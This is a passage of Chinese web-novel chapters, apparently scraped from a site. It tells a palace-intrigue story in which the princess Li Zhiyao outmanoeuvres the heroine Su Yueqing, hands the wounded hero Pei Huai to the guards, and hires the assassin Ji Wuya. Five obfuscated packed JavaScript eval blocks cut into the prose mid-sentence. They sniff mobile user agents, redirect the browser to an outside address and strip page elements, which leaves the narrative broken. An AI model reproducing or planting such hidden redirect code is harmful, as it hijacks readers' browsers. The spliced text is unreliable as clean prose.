她性子冷淡,不争不抢,与人为善胸襟宽广,几乎所有人都认为她这样的性子在宫里会吃亏,出乎意料的她自身处变不惊,面对宫中宫里人找茬能应付自如,凭借自身能力解决问题。 赞叹她的为人处世,看世间如浮云。 人淡如菊的她救了处境艰难的前朝公主,前朝公主李之夭为了感谢苏月清,视她为知心姐姐,无话不说无话不谈。 更是一有好处就双手奉上,让她在宫里活得体面。 苏月清教她不可以忘记自己的根,不能忘记仇恨。 她说“宿宁,你有没有想过,倘若不是你的母妃一封书信,你现在还是在燕国皇宫里长大的公主,也不会沦落到寄人篱下的地步。” 书里的李之夭在她长期诱导下对她母妃心生怨恨,一心死扑在复国这件事上。 后来她拉着苏月清的手诚恳无比地说道:“苏姐姐,我要你帮我!” 三国变二,二变一,最后大魏皇帝死在她手里,书中的男女主通过她无知的期望,完成三国统一。 这是他们二人最后的功绩和荣耀。 李之夭捏着衣角,拭了拭眼角的泪珠,江氏先开口忧心忡忡道:“儿啊,连漱那个女人死有余辜,你将她生下的前朝孽障留在宫里,迟早会生出事端。” 段兰之也劝道:“皇上您有所不知,昨日早上她将那颗舍利子送到秀春宫,这不是打您的脸么?” 清武帝叹了口气,率先安抚江氏:“母后,若不是阿妹,儿臣都不一定能打下燕国,咱们连家能有这样的地位,是阿妹换来的,朕有愧于她,阿妹唯一心愿就是宿宁能好好活着,受朕庇护,朕不能让阿妹泉下都不得安心。” 江氏不满:“什么叫你有愧于她?早年在家中,不是你三番五次帮她还能是谁?甚至还瞒着我跟你父皇偷偷给她肉吃,我跟你父皇那时候都舍不得吃,你倒好全给她了,家务本是她分内的事,你样样包揽,教她读书识字,儿啊,你不亏欠她的,恩情早都还清了,若不是你她能嫁到帝王家,还生下一个小孽障来?” 江氏转头瞪李之夭,恶狠狠说道:“若说亏欠,也是她连漱亏欠你,给你送情报亦是她弥补的机会,如今你善待她的孩子,更应该让她鞍前马后伺候,不是来宫里享清福。” 清武帝气上头,拔高音量“你”字还没说完,就被苏月清打断:“皇上,天热了。” 苏月清淡淡地立在他身后,身体微微前倾,冷静下来的清武帝扫视一圈,发现周围还有许多宫人在,于是压着怒气。 “阿妹没有欠朕,母后,就算亏欠早在她远嫁之时就已还清了,还请母后日后不要再来找宿宁麻烦。” 江氏眉毛一横,端着高高在上的姿态:“若哀家不呢?” 李之夭叩首哽咽道:“宿宁知晓舅舅心中为难,还请舅舅将我送往邙山,宿宁愿意一辈子待在邙山,以免舅舅跟家里人生出嫌隙,知舅舅心中是记挂阿娘的,这一切就足够了,阿娘也泉下有知。” 清武帝顿时觉得头大,指派苏月清将她扶起来:“宿宁,你安心留在宫中,有舅舅在,谁也不敢动你,朕答应过你母亲,决不食言。” 苏月清上前将她扶起来,并帮李之夭拭去面上的泪,投给她一记安心的眼神,眼中还夹着怜惜。 江氏指着清武帝,气得半晌说不出话来,最后甩手气冲冲离开。 段兰之瞧见江氏离开,都顾不得方才她说舍利子的事情,赶忙追上去,生怕走慢了,清武帝找她麻烦。 清武帝看着李之夭发红的脸颊:“疼了吧?”李之夭点点头,他继续没好气道,“你也长点心,不是谁找你非出门不可,下次遇上麻烦,让春夏或者时雨,再不济还有小顺子,派他们来找朕,他们三个是照顾你的,不是吃干饭的,今日若不是苏月清发现赶来通传朕,你是不是还想任凭她们打骂下去?” 李之夭委屈道:“舅舅,我知道错了,下次一定让他们先来找您。” 她握住还扶着她胳膊的苏月清的手,怯生生笑道,“谢谢苏姐姐今日帮我。” 苏月清点了点头,“分内之事。” 李之夭弯眼:“苏姐姐有没有什么喜欢或是想要的,只要是宿宁我力所能及,定会帮苏姐姐。” 苏月清下意识看向清武帝,见他神色如常并不在意,张了张口,斟酌后才道:“没有,月清没什么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492868|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求想要的。” 李之夭取下发间一支绯红翡翠点翠簪子,插进苏月清发间。 “既然这样,这簪子就算我送苏姐姐的信物,权当报答了。” 苏月清摸了摸头上的簪子,福身应下。 此时屋中传来响动,似乎是什么东西散架的声音,乒铃哐啷一阵。 小顺子急匆匆跑出来,见清武帝瞬间闭嘴,恭恭敬敬行礼。 “皇上,主子。” 清武帝开口:“何事如此惊慌?” 小顺子欲言又止。 李之夭猜到应当跟纪无涯有关,听动静想必人跑了。 “皇上问你话你就直说。” 苏月清睨了李之夭一眼,只听小顺子道:“主子,方才您抓住的那名杀手跑了,奴才没看住。” 清武帝诧异,时雨补充道:“回皇上,那名刺客武功高强,我等捉住他已是不易,现在他跑了恐他今晚回来报复。” 春夏接话:“主子以身犯险好不容易捉住他,九死一生,还跟他进行殊死搏斗,好不容易才抓到,因为绾妃娘娘过来闹事,又将那穷凶极恶之徒放跑了。” 说完春夏都快哭出来了。 什么以身犯险,九死一生,殊死搏斗。 是睡醒发现人已经进来了逃不掉的以身犯险。 是利用层层机关的九死一生。 是拿托盘拍了纪无涯两次的殊死搏斗。 李之夭望向苏月清,她神色恬淡,云淡风轻,俨然不信。 “竟是如此凶险?夭夭,你可有伤到哪里?” 清武帝听完赶忙问她,“要不要再让秦立山给你多派几个侍卫来,朕这就让秦立山去捉那贼人!” 苏月清难得抬眼望向她,神色闪过一丝难以置信。 “不用,舅舅,我这不是没事,刺客武功高强,秦大统领现在也追不上了,就不麻烦秦大统领了。” 纪无涯走了也好,放长线钓大鱼。 舍不得孩子,套不着狼。 清武帝离开后,李之夭等人重新回到院子里,时雨合上门。 进到卧室一看,原先捆着纪无涯的椅子被劈成两半,绳子断成两节落在地上,窗户大开,只剩外头闷热的风迎面吹来。 5. 敲打 第5章 趁时雨为她上药的期间,李之夭睡了一觉,等睡醒的时候外头已近黄昏。 屋子里的机关还没重新布置好,她跟时雨春夏三人在里面继续捣鼓半晌,天色入幕才重新布置好,依旧换了位置。 “主子,不明白为何咱们这段时间要一直换位置?之前不都挺安全的么?” 春夏累得瘫坐在地上,喘着粗气。 李之夭出了一身汗,轻轻戳了春夏的额头。 “我且问你,过去的刺客杀手跟现在有何不同?” “过去的杀手都是不同大人手底下的不同杀手,现在的也一样啊。” 时雨为她们递来两块毛巾:“现在虽然也跟过去一样,但有个人跟过去可不一样。” 春夏恍然,拍掌道:“白日里抓到的那个杀手!” 李之夭:“不错,他能来两次,就证明他在幕后人心里很值得信赖,起初我只是为了以防万一,现如今都是第二次,就证明后面还会有无数次,吃过一次的亏,就不会再吃第二次,换个位置,稳妥,我们要对付的不仅仅是那些大臣刺客,还有那个不知什么目的的杀手。” 春夏仰天长啸:“皇上为何就不肯放主子你出宫去呢?” 李之夭眸子暗了暗,宫中这么危险,让她出宫去是更好的选择,人世间那么大,藏一个人还不简单。 她其实也明白清武帝的顾虑。 人世间那么大,藏人简单,想东山再起也简单。 他的信任,是建立在能掌握的前提下,并不是没有代价的。 李之夭勾唇,故作轻松道:“谁知道呢,可能是舍不得我吧。” 做皇帝真难。 小顺子敲响房门:“主子,皇上派苏侍女送药来了。” 李之夭想了想让小顺子去应门:“你先带她去候着,就说我还没醒。” 门口脚步声离开,她让时雨春夏为她准备洗澡水。 苏月清一直候在前厅里,小顺子也守在一旁,他说宿宁公主还在睡觉,可能是白日受到惊吓,喝了安神汤。 她紧了紧手里的药盒子,清武帝说要亲手交到李之夭的手上。 清武帝的目的很明显,白日没有率先让人送药,等到晚上才送,苏月清大概也能猜到清武帝的心思。 看样子他们二人之间的关系并没有传闻中的那么好。 帝王始终是帝王,怎么可能信任一个前朝余孽。 苏月清等了半晌,闻到后院传来一股若隐若现的香气味,是桂花香,混着一股牛乳香。 她微微垂眼,眼下除了一个靠着门打盹儿的小顺子,也没别的人。 她想趁机活动活动酸疼的脚,谁知李之夭却出来了。 还带着方才的那股桂花加牛乳的香气。 “公主,皇上派我送药膏过来。” 她将手里的盒子呈上,时雨接过替她打开,里面放着一瓶药膏和一本名叫《周居山游》的书,她记得她小时候读过这本书。 讲的是周居山觉得自己待在家中,困住了自己的眼界,让他不知该如何处理事情,于是独自远游三载,想必他游历学成归来未来必定一片坦途。 但当周居山再次回到家中的时候,更加无法应对家中的茶米油盐和一堆琐碎事,甚至连家事都不知该如何处理,补贴家中生活的钱财都拿不出来。 他眼界却是变宽广了,奈何在家事人际上,依旧无从下手,相反比起从前,处理得更加一团糟。 李之夭明白清武帝的用意。 迟来的药膏,伴随而来的还有一本意有所指的书。 她取出药膏端在手里细细打量,也难怪为何清武帝非要让苏月清过来,亲手交给她。 “苏姐姐,麻烦你帮我抹一抹这药膏,时雨春夏她们笨手笨脚的。” 时雨合上盒子给苏月清让位。 苏月清打开瓶子,净手后指尖挑出稠白冰凉的药膏慢慢敷在李之夭红肿的面上,苏月清看她长相清丽,这些年养得极好,柳叶眼朱唇弯月眉,皮肤白皙。 李之夭闭着眼睛,屋子里寂静得只剩呼吸声。 “苏姐姐,你觉得我做错了么?” 苏月清没想到她会点名她,“你把我当姐姐?” 李之夭睁眼:“苏姐姐以为如何?” “既如此,公主就听我一句,日后莫要再出宫门去。只要你不出门,又怎会惹来那些流言?” 李之夭面不改色奉承道:“是我出门的祸,日后不出便是。” 时雨合上药膏盖子,李之夭将药膏递给春夏,让她收起来。 “苏姐姐,劳烦你回去跟舅舅说一声,就说宿宁谢过舅舅的药膏。” 苏月清行礼告退,身后的宿宁宫大门再次关紧,里面院子的烛火从围墙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492869|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落下,照着她回去的路。 她见到清武帝把李之夭的原话带给他,清武帝什么都没问,也什么都没说,摆摆手让她退下。 出门时她只听到清武帝跟孙公公孙广全说:“孙广全,朕是不是多虑了……” 她垂眸,自古帝王都是如此。 只要身居高位,就会变得越来越谨慎,和戒不掉的疑心病。 因她白日阻止了清武帝,才没让他们母子闹得下不来台,赏赐也由孙广全遣人送来。 她现在的住所还是在绣房的大通铺里,白日里刚提拔,屋子也来不及搬,跟她同一屋的绣女都是跟她一起入宫的。 此时见她升了职,还得了赏,个个羡慕不已。 “月清,你可真厉害,我们一起进宫不过才一个月,你就能这么快调到皇上身边做事,还能得这么多赏赐。” 苏月清淡淡摆手:“钱财都是些身外之物,要这么多有何用。” 她将赏赐谨慎收起来,特意选了几样贵重物品放在自己枕头底下。 “月清,你跟在皇上身边,日后入了皇上的眼,就能当妃子了?说不定还能成为皇后娘娘。” 有宫女说得眉飞色舞,“要是这样,你可别忘了提拔我们姐妹几个人。” 苏月清道:“后宫位份什么都不是我想要的,我入宫迫不得已,我只想做我自己,做我能做的事,这些事可不是我能肖想的,这些都是命,日后你们也莫要再胡说。” 旁边一名小绣女殷勤递上茶,苏月清念起晚间在宿宁宫闻到的那股桂花加牛乳香的味道,假装不经意出声。 “今日我在宿宁宫闻见桂花和牛乳的香味儿,到底是宫里出身的人什么都比我们金贵。” “这事我我知道!我还知道宿宁公主屯了好多干桂花,加上去腥的牛乳,她是拿去洗澡的!前些日子我去送衣物的时候好奇多嘴问了一句还是她身边的贴身宫女时雨姑姑给我讲的,临走时她还给了我一包干桂花,我制成香包带在身上。”绣女说着献宝似的从身上取下香包递到距离最近的人鼻前,眸子明亮充斥着兴奋,“你们闻闻,是不是很香。” 苏月清起初还有点馋那股味道,现在一听顿时失去了兴趣。 见她们众人视线逐渐不在自己这里,苏月清摸了摸自己发间刚得来的簪子上。 绣女们谈笑话语和目光落到苏月清发间的那枚簪子上。 6. 救人 第6章 “哇,月清,这不是宿宁公主的簪子么?” “啧。” 苏月清顺不屑的声音来源看去,是之前跟看她不顺眼一直跟她作对的人的身边的跟班发出来的,为首的璃秋环胸一脸鄙夷厌恶地盯着她。 屋子里的声音瞬间停了下来,绣女们面面相觑,谁也不敢出声,璃秋跟苏月清看不顺眼她们是知道的,据说璃秋身后有人暗中扶持,就连绣房的嬷嬷都要给她几分好脸色,自然也不敢招惹她。 苏月清随手取下簪子递过去。 “既然你喜欢,就送你了,这些都是身外之物,我平日也不爱戴。” 有人纷纷不平:“这是宿宁公主送你的东西,就这么给送去了?” 苏月清无所谓摆摆手:“无事,就一支绯色翡翠点翠簪子,也不是什么值钱的,给她就给她,多一事不如少一事。” 绣女接过簪子转手就讨好地递给璃秋,璃秋接过簪子默默看了两眼,一句话没说转身带人走了。 苏月清勾了勾唇,招呼众人去睡觉。 第二天一大早,她便去请了孙广全手底下的人帮她搬东西。 一通操作下来,谁都知道苏月升职到皇上身边做事,似乎颇为赏识。 搬到新住所的第三天晚上,苏月清刚合上门,便听到外头传来孙广全的惊叫声。 “抓刺客!抓刺客!” 她在屋内刚准备吹灯就看到一名浑身是血的男人将匕首抵在她脖子上。 男人沉声道:“救我,苏月清,我知道你的身世!” 苏月清的屋子藏不了人,冒险留在这里引火烧身,趁现在侍卫尚未搜查至此,她想起李之夭来,前段时日李之夭对她很是熟路,把她当姐姐,肯定会帮她。 她带男人避开禁军,直奔宿宁宫投靠。 开门的是一名侍卫。 苏月清道:“麻烦通传宿宁公主,苏月清求见。” “公主已闭门三日,谁都不见,若想见,需有信物,公主怕惹麻烦。” 侍卫拿出一支绯色翡翠点翠簪子。 “此为信物。” 苏月清欣喜:“我有。” 侍卫摊开掌心:“在何处?” 她语塞,想起这簪子在璃秋手里,禁军统领秦立山带人搜查搜得紧,苏月清想去找璃秋拿已经来不及了。 “我真有,当日公主便已送了我,只不过现在不在我手里。” 侍卫闻言就要关门:“公主说了,她姐姐说让她不要出门,生怕别人再来寻麻烦,既然没有信物,就不能放你进去。” 苏月清平静的脸上闪过一次慌乱。 “是我!我就是那个给她建议的人,你就说苏月清,她认得我的。” 侍卫:“随便一个人扯个名字都能说自己谁是谁,如何证明你是真是假,没有信物谁都不见,你只要把信物取来,就让你去见公主。” 不管她怎么说,眼前这个侍卫都蛮不讲理,只认物件,不认人,尽管她有再好的法子,也没办法从这样的死脑筋里闯出一条路来。 “你等着,我这就去取。” 苏月清将男人拖到暗处藏起来,叮嘱他道,“你藏在这里,不要出声,我去去就回。” 等她离开原本紧闭的大门再次敞开,李之夭带着时雨从里面走出来,小顺子走在前头引路,找到男人落脚的地方。 受伤的男人气若游丝,睁开眼睛。 李之夭认出此人便是书中男主裴淮,因为书中写过苏月清和男主裴淮相识的过程,流落在外的北唐皇子进宫刺杀清武帝,被秦立山发现重创,后因女主所救,两人因此展开一段人间佳话。 在书中的视角,他们北唐内斗,裴淮才华样貌样样出众遭到北唐皇室陷害打压,后意外流落大魏。 大魏是残忍剥削他国土地的国家,清武帝野心昭昭,不是好人,唯一的缺点便是疼爱宿宁公主。 于是在大魏的裴淮一心想刺杀清武帝,尝试从大魏夺权,借此机会回到北唐,助他东山再起。 苏月清就是那个帮助他的人。 “你……你是宿宁公主?” 时雨提着灯凑近了些,烛光晃得裴淮睁不开眼睛,满是血污的面上,倒是不难看出此人丰神俊朗,轮廓分明。 李之夭没有说话,找人将他抬了进去。 进去之后裴淮继续出声:“宿宁公主方才死活不肯开门,怎现在又会救在下?” 李之夭蹲下跟他平视,“想知道?答案在帕子里。” 她从怀里取出一块帕子,凑近裴淮的鼻子前,“你闻闻?” 裴淮微微皱眉凑近闻了一下,只是一瞬,他便感觉头晕目眩。 “迷.药?!你耍我?” 他强撑最后一丝精神,准备起身,但春夏拿绳子带侍卫过来,几个侍卫轻而易举将吸了迷.药的裴淮给摁住,并且把人严严实实捆成一条虫的样子,任凭他怎么挣扎都不管用。 自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492870|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从纪无涯逃跑,她可是花了三天时间研究怎么捆人才能捆结实了,手脚全都不能动,就连胳膊腿都不行,身子也不能弯,就这么直挺挺捆在地上。 “我只是把你抬进来,可没说要救你。”李之夭起身,居高临下俯视躺在地上双目猩红,怒气滔天的裴淮。 “你是刺客,我是大魏公主,为何要帮你?” 现在最稳妥的办法就是让男主死了。 没了男主,苏月清怎么作也作不到北唐。 宫门扣响,小顺子前去开门,禁军统领秦立山抱拳道:“公主,皇上遇刺,刺客被我重创,我等奉命全面搜宫排查。” 李之夭指着地上的人笑道:“秦大统领,是不是此人?” 秦立山目光落在李之夭身后被五花大绑起来的裴淮身上,目光欣喜。 “正是此人!” “此人前来敲我宫门,浑身带伤,迫不得已,我只能将他绑了。” 秦立山挥手命人上前把人抬走,“多谢公主出手!我这就带他回去复命。”李之夭点头,末了临走时他回头道,“公主,今日可还安好?是否需要我再多派几个人过来。” “谢秦大统领美意,现在的人够了。” 秦立山不再多说什么。 李之夭目送他离开,他是朝中为数不多相信她不会复国的人。 就是这个为数不多的人,却死在了北唐跟大魏的战场上。 只要男主死了,后面的事就不会发生,秦立山也能活下去。 白日睡了一下午,晚上李之夭并无多少困意。 闭眼睛养神,今晚守夜的人是春夏,她在外面的小榻上已经睡得很熟。 李之夭起身推开窗,只消一瞬间,她便察觉到危险,匆忙关上窗户。 利箭穿破窗户纸射进来,定在她平日梳妆台的铜镜上,铜镜碎裂炸开,惊醒外头的春夏,紧接好几支箭矢射穿窗户纸,落在屋子里。 “公主公主!怎么了!” 李之夭抱头蹲在桌子底下,“别进来!快去通知时雨想办法出去找秦大统领,现在他应该还在宫里!” 屋内燃着烛火,加上外头的杀手居高临下,很容易通过窗户看清屋子里的情况。 来的人不少,个个手持弓箭想赶尽杀绝。 过往的杀手通常只是一个,根本不会出现这样的大规模刺杀,李之夭猜测不可能是朝中大臣,他们没这个胆子。 她大吼出声:“纪无涯!是不是你!” 7. 六百 第7章 外头没有人回应她,她竖起桌子挡箭,趁机吹灭烛火让室内暗下来。 她刚想趁暗逃跑,又被外头射进来的火箭逼退。 带火的箭矢落在屋里,攀咬撕扯帷幔,整间屋子被点燃,火烟弥漫,呛地她喘不过气来,她手袖捂着鼻口,挪到降温的水盆旁,用帕子浸湿捂着鼻口。 外头的传来短暂的拼杀声,很快就消声灭迹。 李之夭心里直打鼓,她必须想办法出去,不然不是被箭射死,就是被困在里面活活烧死。 屋子里有个地道,是通往院子里的,就在床底下,她艰难掀开床板扯开暗门,跳进去往前跑,身后滚落下来许多被烧焦的木头,地道里的温度很高,加上现在浓烟滚滚,呛得她几乎连滚带爬出去。 假山的门打开,一同出来的除了李之夭还有她身后紧追不舍的浓烟。 李之夭整个人被烟熏火燎,模样狼狈,她立在死去的侍卫人堆中,蒙面杀手把她围个水泄不通。 时雨他们去通知秦立山,最快的禁军赶来也需要时间,她怕没等到自己就死了。 倏地一道银光晃过,她目光看向宿宁宫深处的黑暗里,银亮若隐若现。 “五百两,你救不救?我有的是钱!” 火光惊动外头巡逻的禁军,宫人们提水桶或是推装水的缸朝宿宁宫赶来。 黑暗里,李之夭说完后银亮飞射而出,圆形的尾端是红色流苏,银币径直扎进冲最前的杀手脖颈上。 杀手捂着脖颈来不及发出叫声倏地倒地,周围的杀手迅速转身将长弓对准银币的来处。 “是谁?!” 有人出声,下一秒,银币再次飞射而出,划破他的咽.喉。 他们目光死死盯着前方,额头上不知是热得出汗还是紧张汗水顺着他们面颊滚落。 无人说话的场面里,除了火花声,还能听见金属互相碰撞清脆的声音,一下又一下。 怦、怦、怦—— 少年从黑暗中走出,指尖上下抛着银币,银币在空中碰撞,又稳稳落在他的掌心,头发随意高束,白色的发带在风里被卷了起来,他模样懒散。 “人有点多,六百两。” “成。”李之夭想也不想直接应下,对方来势汹汹,是冲她来的,“留个活口。” 纪无涯身形极快,抽出腰间软剑,锃亮的剑身在人脸上恍过一阵剑光,他如鬼魅一般穿梭在火光中,一袭玄衣,须臾间不断有人嘶吼,有人倒地,有人反应过来不用三招便躺在地上,直至最后他掐住最后一个人的脖子,剩下一只手紧握沾血的软剑,血珠沿剑身滴落在地上。 李之夭紧绷的精神瞬间得到片刻喘息,双腿一软跌坐在地上,惊魂未定地看着跟前的少年。 他身后是燃烧的楼台屋阁,火光扑面,零零散散的火星子在四处浮动,纪无涯侧脸看她,眼里依旧冷漠。 这样的人想取她性命就在弹指间。 李之夭心股跳如雷,不敢呼出来的气一瞬间从胸口喷涌而出,她喘着粗气。 纪无涯没有杀她,她身上一定有他感兴趣的东西。 今晚他在宿宁宫待了很长时间,他有很多机会杀了她完成任务,可是他没有。 他在等,等到她主动找他。 上一次他能轻易逃走,就摆明了纪无涯根本不会被这些东西困住。 李之夭不相信一个江湖上干杀手的,会让自己的雇主几次三番的雇这么多次。 他们虽然比别的杀手通人性,可也更冷情。 他图什么? “答应的,活口。” 纪无涯察觉手下的人有异动,一拳出去,将他的牙连同牙缝里的毒囊给打了出来。 随即松开手,取出帕子拭去软剑上的血,重新缠绕回腰间。 杀手痛苦地躺在地,纪无涯用擦血的帕子紧紧塞到杀手嘴里,他无视跌坐在地上的李之夭,转身从另外两名杀手的脖颈上摘下方才的两枚银币。 尾端的红色流苏沾了血,颜色发暗。 他借杀手的衣物擦干净银币,别进腰间,做完这些纪无涯才蹲在李之夭跟前,摊开掌心。 “六百两。” 李之夭闭了闭眼睛,稳住呼吸。 “如今我的库房被烧毁,想要银子,得等我出宫。” 纪无涯点头,“出宫简单。” 下一秒,李之夭只觉天旋地转,再睁眼的时候,她被就纪无涯单手捞起抗在肩上,眨眼便已腾空数米。 赶来的秦立山冲进宿宁宫只看见宿宁公主被一个黑衣人抢走了,伴随而来的还有公主的惨叫声。 “天杀的!放我下去!” 秦立山拔剑指着他们离开的背影。 “封锁宫门城门!解救公主!” 他说完提剑运功追了上去。 急匆匆赶来的清武帝跑到门口,老远就听到春夏跪坐在院子里哭得上气不接下气。 “公主啊!公主啊!你怎么就这么走了!公主你走了让奴婢们怎么办啊?” 小顺子也跟着嚎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492871|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “主子!主子啊!歹毒的贼人!天杀的挨千刀!” 不明情况的清武帝见满地狼藉,顿时觉得天旋地转,痛心疾首地呼出一句,“阿妹,为兄对不起你!” 两眼一黑直接倒在孙广全怀里。 “哎哟我的天爷,皇上!皇上!快传太医!” 孙广全慌忙扶住清武帝,一边掐他人中,一边绝望哭喊。 “皇上啊,奴才冒犯了!皇上——奴才冒犯了!奴才冒犯了!” “纪无涯!你放我下来!” 李之夭不停捶打纪无涯的后背,他佯装手滑吓得李之夭紧紧抓着他的衣服,刚慢下来的速度瞬间变快,她面色惨白也忘了出声。 身后秦立山很快追了上来,他微微收敛眼眸,甩开秦立山出了宫。 选了一处偏僻的角落,确认无人后纪无涯将她丢在地上,李之夭摔得屁股疼,眼泪直流。 “你把我带出来想干什么?” 她声音带着哭腔,撇下嘴角,眼眸续满泪水,仿佛下一秒就要哭出来。 “带你出宫,六百两,路费免了。” “你很缺钱?” 纪无涯想都不想就回答:“不缺。” “你不缺钱,怎么……” 李之夭气不打一处来。 “不缺钱并不妨碍我赚钱,你出钱,我收钱,天经地义。”他打断。 李之夭从地上爬起来,拍了拍身上的灰尘,现在她灰尘土脸头发还炸毛了,裙子脏兮兮的,像只小花猫。 她往前走,纪无涯跟上去道:“去哪?” “还钱。” 大魏因两国合并,清武帝上位来,取消了大魏的宵禁,想尽快发展经济,现在京城街头依旧人声鼎沸,灯烛辉煌。 纪无涯走在她后头七拐八绕,最后两人停在一家铺子前,铺子的梨木牌匾上黑色笔墨龙飞凤舞的写着三个大字。 ——银来庄。 “竟是银来庄。” 李之夭闻声诧异:“你知道?” 纪无涯点头:“嗯,我在京城赚的钱都放在银来庄,他们家利息挺高。” 李之夭一怔,随即笑道;“没事,我也一样。” 她刚迈进门槛,店小二迎上来,“客官深夜来访,有何贵干?” “小二,找你们掌柜的。” 因有纪无涯在,她借银来庄的笔墨在纸上写下‘鹤迎春山,今见桃花’八字,取下发钗上的一颗珍珠连同纸一起交到小二手里,小二立刻飞奔到后院去。 8. 黄鬼 第8章 没过多久,一位长相发福的男子急匆匆赶来,冲他们拱手相迎。 “不知贵客亲临,我耿进才有失远迎,招待不周,贵客里面请。” 李之夭道:“给他从我账上划六百两。” 耿进才一口答应下来:“没问题,去后院稍作休息,我让人把银子清点清楚送来。” “要银票。”李之夭补充,跟他一起往后院走去。 李之夭故意拖着纪无涯慢耿进才五步的路程,塞给他一块帕子,自己用另一块捂住比鼻口。 “作甚?” “以防万一。” 纪无涯念及前几次李之夭在他跟前耍心眼,没有用她递来的帕子,而是将信将疑自己用袖子捂住,跟在她身后。 穿过绿藤缠绕的小廊,纪无涯似乎闻到一股馥郁的栀子花香,耳边流水叮咚,虫鸣声声,他便觉得眼前头昏眼花,视线不清,然后猛地栽倒在地上。 李之夭听到声音蹲下拍了拍纪无涯的脸,语气有些无奈。 “给你你又不要,这下好了吧,又中招了。” 耿进才递给李之夭一粒药丸,李之夭将药丸吃下去。 “主子,此人是何来头?”耿进才引着李之夭往里走,忍不住回头打量躺在地上的人。 “不清楚,他是不是来银来庄存过银子?” 耿进才盯着纪无涯半晌,似在努力回想是否有这么一号人,但想来想去笃定摇了摇头。 “看着眼生,没见过。” “你找人去查查他的来历,还有这几日朝中大臣的动向帮我盯着点,最近几日是否有人跟他往来,此人武功高强,做买卖倒还一码归一码,若不是他不信我,想药倒他得废不少功夫,但管不了太久的。”李之夭未在这个问题上做过多纠结,银来庄每日来往客人不少,万一纪无涯是易容或是蒙面,他们认不出也是正常。 “我们也是看到主子送珍珠才敢下药。” 前两次,李之夭能逮到他,也花了不少功夫,至少机关都废了好几个。 “找人帮我重新设计一下宿宁宫的机关,最主要的是能储水放火,还要防火防水,钱不是问题,务必要办妥了。” 今晚险些葬身火海,她算是看明白了,光有那些机关有什么用,起火照样派不上用场。 最有用的还是她刚搬进宿宁宫的时候,跟春夏时雨三人一起挖的地道。 耿进才道:“主子,你让我盯着北唐那边的动作,北唐想派人出使大魏,明日奏折便能到京了。” 北唐出使大魏,是书中男主裴淮重新找回身份的重要节点。 现在裴淮已经被她交给了禁军,恐怕已经死了。 “还有最近有一批外来的杀手潜伏藏进了京中,虽然解决了几个,但他们训练有素,逃走不少,主子小心些。” “知道了。” 她看向还趴在地上的纪无涯,“先去帮我查他身份。” 耿进才退下后,李之夭重新回到纪无涯身边,药效不会太长。 她看到纪无涯有清醒的迹象,连忙装晕倒倒在他身边。 纪无涯捂着发疼的脑袋从地上爬起来,看到李之夭躺在地上,晃了晃她的肩膀,并无清醒的迹象,他探了探鼻息,漆黑的眸子神色不明。 纪无涯并没有管李之夭,反而起身打量四周。 四下无人,虫鸣声声,后院里的水声哗啦啦,微风吹拂挂在廊下的灯笼,烛光摇曳。 桌上用石头压了六张银票。 桌子上有一只茶杯,杯口上留有女子的口脂,里面剩下半杯的茶水,他用手摸了摸杯身,试探温度。 此时一名提灯的大娘走来,“少侠似乎对我喝过的杯子很感兴趣。” 纪无涯放下杯子,拱手道歉:“抱歉,无意冒犯。” “无事,我家主子只是不喜外人看到一些不该看的,对不住了。” 纪无涯也不做过多追究:“理解。” “既如此,拿了钱就赶紧离开,小店要打烊了。” 收好钱财,抱起装晕的李之夭,出了银来庄。 他走在人群里。 前面有唱傩戏的倡优,青脸黄脸纷聚,安庆娱神,周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 